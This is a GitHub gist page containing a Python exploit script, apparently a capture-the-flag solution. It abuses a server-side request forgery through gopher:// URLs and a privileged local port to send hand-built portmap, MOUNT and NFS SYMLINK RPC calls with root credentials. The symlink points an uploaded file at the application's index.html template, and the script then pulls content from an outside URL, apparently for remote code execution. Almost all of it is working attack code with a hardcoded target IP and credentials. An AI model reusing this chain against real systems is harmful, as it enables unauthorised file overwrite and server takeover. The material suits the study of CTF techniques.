Skip to content

Instantly share code, notes, and snippets.

@orangetw
Created December 5, 2021 11:47
Show Gist options
  • Save orangetw/6d34ff98a6332bc0523b35ea952a790d to your computer and use it in GitHub Desktop.
Save orangetw/6d34ff98a6332bc0523b35ea952a790d to your computer and use it in GitHub Desktop.
import requests
from pwn import *
from urllib import quote
from random import randint
context.endian = 'big'
AUTH = ('ctf', 'fa206e9346104e49')
URL = 'http://54.65.249.124:39329/'
port = None
fh_len = None
fh = None
def gopher(port, data):
return 'gopher://nfs.server:%d/_%s' % (port, quote(data))
def nfs_decode(data):
global fh_len, fh
fp = StringIO(data)
frag = fp.read(4)
print 'data len = %d' % len(data)
print 'xid = %08x' % u32(fp.read(4))
print 'typ = %08x' % u32(fp.read(4))
print 'stat = %08x' % u32(fp.read(4))
print 'Verifier = %s' % repr(fp.read(8))
print 'Accept State = %08x' % u32(fp.read(4))
if len(data) > 24:
print 'status = %08x' % u32(fp.read(4))
fh_len = u32(fp.read(4))
fh = fp.read(fh_len)
print 'fh len = %08x' % fh_len
print 'file handle = %s' % repr(fh)
print 'falvors = %08x' % u32(fp.read(4))
print 'falvor[0] = %08x' % u32(fp.read(4))
print '-'*16
while 1:
PORTMAP_CALL = ''
PORTMAP_CALL += p32(0x41414141) # xid
PORTMAP_CALL += p32(0) # message type
PORTMAP_CALL += p32(2) # rpc version
PORTMAP_CALL += p32(100000) # program
PORTMAP_CALL += p32(2) # program version
PORTMAP_CALL += p32(3) # procedure
# Credential
PORTMAP_CALL += p32(0)+p32(0) # flavor # AUTH_NULL
PORTMAP_CALL += p32(0)+p32(0) # Verifier
# Portmap Service
PORTMAP_CALL += p32(100005) # program
PORTMAP_CALL += p32(3) # version
PORTMAP_CALL += p32(6) # proto
PORTMAP_CALL += p32(0) # port
PORTMAP_CALL = p32(128 << 24 | len(PORTMAP_CALL)) + PORTMAP_CALL
url = gopher(111, PORTMAP_CALL)
data = {
'url': url + 'BBBB',
'CURLOPT_LOCALPORT': randint(1, 1024)
}
r = requests.post(URL, data=data, auth=AUTH)
if 'Your Metamon' in r.content:
content = r.content
content = content.split('">Your Metamon')[0]
path = content.split('"')[-1]
r = requests.get(URL + path, auth=AUTH)
port = u16(r.content[-2:])
print 'port = %d' % port
break
while 1:
MNT_CALL = ''
MNT_CALL += p32(0x41414141) # xid
MNT_CALL += p32(0) # message type
MNT_CALL += p32(2) # rpc version
MNT_CALL += p32(100005) # program
MNT_CALL += p32(3) # program version
MNT_CALL += p32(1) # procedure
# Credential
MNT_CALL += p32(1) # flavor # AUTH_UNIX
MNT_CALL += p32(0x1c) # size
MNT_CALL += p32(0x41414141) # stamp
MNT_CALL += p32(1) # size of machine name
MNT_CALL += 'x\x00\x00\x00'
MNT_CALL += p32(0) # uid
MNT_CALL += p32(0) # gid
MNT_CALL += p32(1)+p32(0) # Auxiliary GIDs (1) [0]
MNT_CALL += p32(0)+p32(0) # Verifier
# Mount Service
MNT_CALL += p32(5) # size of path
MNT_CALL += '/data\x00\x00\x00'
MNT_CALL = p32(128 << 24 | len(MNT_CALL)) + MNT_CALL
data = {
'url': gopher(port, MNT_CALL) + 'BBBB',
'CURLOPT_LOCALPORT': randint(1, 1024)
}
r = requests.post(URL, data=data, auth=AUTH)
if 'Your Metamon' in r.content:
content = r.content
content = content.split('">Your Metamon')[0]
path = content.split('"')[-1]
print path
r = requests.get(URL + path, auth=AUTH)
nfs_decode(r.content)
print 'fh_len = %d' % fh_len
print 'fh = %s' % repr(fh)
break
while 1:
NFS_CALL = ''
NFS_CALL += p32(0x41414141) # xid
NFS_CALL += p32(0) # message type
NFS_CALL += p32(2) # rpc version
NFS_CALL += p32(100003) # program
NFS_CALL += p32(3) # program version
NFS_CALL += p32(10) # procedure # SYMLINK
# Credential
NFS_CALL += p32(1) # flavor # AUTH_UNIX
NFS_CALL += p32(0x1c) # size
NFS_CALL += p32(0x41414141) # stamp
NFS_CALL += p32(0x1) # size of machine name
NFS_CALL += 'x\x00\x00\x00'
NFS_CALL += p32(0) # uid
NFS_CALL += p32(0) # gid
NFS_CALL += p32(1)+p32(0) # Auxiliary GIDs (1) [0]
NFS_CALL += p32(0)+p32(0) # Verifier
# NFS Service
# where
NFS_CALL += p32(fh_len) + fh # dir
from hashlib import md5
src_path = md5('36.229.231.73' + 'http://orange.tw/rceeeeeeee-orange-hitcon').hexdigest() + '.jpg'
print 'src = %s' % src_path
if len(src_path) % 4 == 0:
NFS_CALL += p32(len(src_path)) + src_path
else:
NFS_CALL += p32(len(src_path)) + src_path + ('\x00' * (4-len(src_path)%4))
# symlink attribute
symlink_attr = ''
symlink_attr += '\x00\x00\x00\x01\x00\x00\x01\xff'
symlink_attr += p32(0) # uid
symlink_attr += p32(0) # gid
symlink_attr += p32(0) # size
symlink_attr += p32(0) # atime
symlink_attr += p32(0) # mtime
NFS_CALL += symlink_attr
# To
dst_path = '/app/templates/index.html'
print 'dst_path = %s' % dst_path
if len(dst_path) % 4 == 0:
NFS_CALL += p32(len(dst_path)) + dst_path
else:
NFS_CALL += p32(len(dst_path)) + dst_path + ('\x00' * (4-len(dst_path)%4))
NFS_CALL = p32(128 << 24 | len(NFS_CALL)) + NFS_CALL
data = {
'url': gopher(2049, NFS_CALL) + 'BBBB',
'CURLOPT_LOCALPORT': randint(1, 1024)
}
r = requests.post(URL, data=data, auth=AUTH)
if 'Your Metamon' in r.content:
content = r.content
content = content.split('">Your Metamon')[0]
path = content.split('"')[-1]
print path
r = requests.get(URL + path, auth=AUTH)
print 'symlink-ed'
print [r.content]
break
# raw_input('check?')
data = {
'url': 'http://orange.tw/rceeeeeeee-orange-hitcon',
'CURLOPT_LOCALPORT': randint(1, 1024)
}
r = requests.post(URL, data=data, auth=AUTH)
print r.content
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment